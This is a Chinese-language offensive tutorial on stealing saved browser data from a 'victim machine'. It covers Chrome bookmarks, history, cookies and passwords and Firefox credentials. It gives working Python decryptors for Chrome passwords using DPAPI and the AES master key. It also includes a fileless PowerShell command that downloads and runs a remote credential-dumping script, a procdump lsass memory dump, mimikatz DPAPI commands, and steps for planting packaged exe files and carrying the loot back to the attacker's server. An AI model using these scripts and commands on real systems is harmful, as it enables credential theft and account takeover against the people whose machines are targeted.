一、受害機Google Chrome瀏覽器信息收集
1、前言:
瀏覽器存放着非常多有價值的信息,包括瀏覽記錄、存放的密碼、書簽。而Google chrome可謂是桌面瀏覽器界的巨頭。但是chrome瀏覽器的加密從80版本后有所變化,80版之前是用DPAPI,80版本之后用的是AES,因此解密的方法也不一樣。
2、chrome書簽的信息提取:
Chrome存放書簽的文件名是:bookmarks
該⽂件存於瀏覽器⽬錄的 \UserData\Default\,全路徑位於 %appdata%\..\local\Google\chrome\User Data\Default\
滲透信息收集時最好把文件復制到其他目錄:
copy %appdata%\..\local\Google\chrome\User Data\Default\Bookmarks c:\windows\tmp\Bookmark
3、chrome瀏覽器瀏覽記錄及cookie:
① 路徑
瀏覽記錄是存放在history文件中,全路徑:C:\Users\Administrator\AppData\Roaming\..\local\Google\chrome\UserData\Default下的history文件,而cookie是在同目錄下的cookie文件
開啟前記得也要先復制到其他目錄:copy %appdata%\..\local\Google\chrome\UserData\Default\History c:\windows\temp\History
② 打開方法:
首先下載一個SQLiteStudio,然后把復制好的cookie或者history拖拽至左邊的框內,再點擊urls數據即可
當然,如果只想看history的話,這邊還推薦chrome history manage,可以直接百度整一個
4、chrome瀏覽器的保存的密碼(低於80.0版本):
① 版本查看:
② 利用SQLiteStudio:
保存文件的路徑為:%appdata%\..\local\Google\chrome\User Data\Default\Login data
打開文件后發現又是這一串東西:
因此我們可以用SQLiteStudio把復制好的Login data拖拽拖拽進去查看數據:
但是我們發現password沒出來,這⼀串是加密過后的密⽂,然后使⽤相關函數解密就可以了,就跟base64加密解密差不多,差的是瀏覽器加密會⽤到windows⽤⼾登錄后的憑據,所以沒有憑據是⽆法解密的。具體涉及到的函數是 CryptProtectData,這意味單純把這個⽂件傳回本地解密是沒有⽤的,所以我們⼀般是利⽤python寫好腳本,然后打包成exe上傳到⽬標機器執⾏來獲取瀏覽器的明⽂密碼的
③ 利用python:
from os import getenv
import sqlite3
import win32crypt
import binascii
conn = sqlite3.connect(getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\UserData\\Default\\LoginData")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print( 'Site: ' + result[0])
print( 'Username: ' + result[1])
print( 'Password: ' + password)
else:
print( "no password found")
該python版本是不夠成熟的,我們要做⼀些智能化的判斷和操作,⽐如復制⽂件到其他⽬錄再connect,判斷⽂件是存在之類的,還有就是對內容進⾏提取的時候可以多選⼏個⾃⼰感興趣的項,⽐如創建時間。打包的命令是:pyinstaller -F -w chrome.py,⾄於pyinstaller的更加詳細的東西可以看:http://c.biancheng.net/view/2690.html
④ 利用Powershell:
需要⽬標關閉瀏覽器,可修改腳本為先復制再獲取明⽂。
文件落地(如果目標機器不能出網,只能文件落地了):
Powershell –exec bypass –Command "& {Import-Module 'C:\Users\Hacker\Desktop\Get-ChromeDump.ps1';Get-ChromeDump -OutFile "chromepwds.txt"}
無文件落地
powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1');Get-ChromeDump -OutFile chromepwds.txt
4、chrome瀏覽器的保存的密碼(高於80.0版本):
解密腳本一:
https://github.com/agentzex/chrome_v80_password_grabber
直接執行就完事了
解密腳本二:
https://github.com/cckuailong/HackChrome
二、離線獲取Google Chrome瀏覽器保存的密碼
1、離線獲取的意義:
當我們的工具無法免殺的時候,就選擇把文件拖回來吧,但是需要配合其他東西來獲取明文密碼。
2、DPAPI和Master Key
DPAPI引文全稱:Data Protection API,顧名思義,就是用來保護數據接口的,這個接口在Windows中被大量使用來加密數據,比如我們接下來的目的:chrome的cookies和login data
① DPAPI使用了一種名為Master Key的東西來加密,Master Key並不存在磁盤上,而是通過用戶的密碼HASH加密生成
② Master Key的第一種實現方式是用用戶的NTLM HASH來加密,由於NTLM HASH在Windows中有着各種重要的作用,而且NTLM HASH是存儲在SAM文件中的,因此只要攻擊者獲取到HASH就可以用來生成Master Key,從而解密數據了;為了防止以上事件的發生,就誕生了第二種實現方式:直接使用用戶密碼生成,函數:SHA-1(UTF16LE(user_password)),就算攻擊者獲取到NTLM,如果不能解密出用戶的密碼,就不能生成Master Key,因此我們一般都是在內存中提取出來的。
3、離線獲取密碼的方式(低於v80)
① 獲取目標內存【procdump】
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
② 獲取login data的密碼密文並將內容保存在txt內
先下載一個pyinstaller,然后用下面這串python生成一個exe,放到對方機器上執(pyinstaller -F -w 1.py):
from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
print (binascii.b2a_hex(result[2]))
f = open('test.txt','wb')
f.write(result[2])
f.close()
這里要注意了,如果你的python版本高於3.6,而對方機器比較老沒打KB2533263補丁(因為python高版本對系統有要求),就會像下圖一樣報錯,這時要么幫他打補丁要么用低版本的python生成exe,該怎么做你們懂的:
執行exe(別忘了把login data復制出來放在同一目錄下再執行),文件就出來了,可喜可賀,接下來就是想辦法把兩個文件弄回我們的vps:
③ 把dump回來的內存用mimikatz解析
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
④ 直接解密密文
dpapi::blob/in:test.txt
⑤ 解碼成明文
去掉空格,然后去一些在線網站解密,例如:https://tool.lu/hexstr/
3、離線獲取密碼的方式(高於v80)
離線其實也是根據已有的在線解密python代碼來搞的
關鍵點在於Master Key的獲取,在線腳本的代碼時直接從內存獲取的,剩下的就是利用Master Key來解密了,所以我們只要從目標提取到Master Key,然會下載回本地,加載進原來的代碼運行就可以了。
①提取Master Key並寫入txt(目標機器上執行)
import win32crypt
import os
import json
import base64
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State', "r") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key_w_Cry = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]
print(master_key)
with open("masterkey.txt",'wb') as msf:
msf.write(master_key)
② 加載Master Key解密密碼密文(把文件弄回vps執行)
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open("masterkey.txt",'rb') as msf:
buf = msf.read()
print(buf)
return buf
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() #remove suffixbytes
return decrypted_pass
except Exception as e:
#print("Probably saved password from Chrome version older than v80\n")
#print(str(e))
return "Chrome<80"
if __name__ == '__main__':
master_key = get_master_key()
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
print(encrypted_password)
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
print('error')
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
這個腳本需要在cmd執行,為了方便查看我們把它從定向到txt文件:
三、受害機firefox瀏覽器信息收集【高於58.0.1】:
1、獲取Firefox的歷史記錄:
歷史記錄存儲在places.sqlite數據庫文件的moz_place表內,默認是:C:\User\<username>\AppData\Roaming\Mozilla\Firefox\<profile folder>,可以用命令尋找:dir %APPDATA%\Mozilla\Firefox\Profiles\*places.sqlite /s /b
由於該文件是sqlite數據庫,所以直接用SQLiteStudio打開就行:
也可以用工具:https://cdn.securityxploded.com/download/FirefoxHistorySpy.zip
也可用用代碼:
2、獲取Firefox的cookie:
Cookie也是記錄在places.sqlite數據庫文件的moz_place表內,可以用命令尋找:dir %APPDATA%\Mozilla\Firefox\Profiles\*cookies.sqlite /s /b
可用代碼:
3、離線獲取Firefox的保存的密碼:
Firefox的密碼存儲在logins.json中,但僅有該文件無法解密,我們還需要弄到key.db幫助我們獲取密碼
logins.json:
dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b
key.db:
dir %APPDATA%\Mozilla\Firefox\Profiles\*key4.db /s /b
將logins.json和key.db復制到我們的桌面后,我們可以執行python3 firepwd.py -d c:\users\ASUS \desktop\,就能獲取密碼了:
firepwd.py的下載地址:https://github.com/lclevy/firep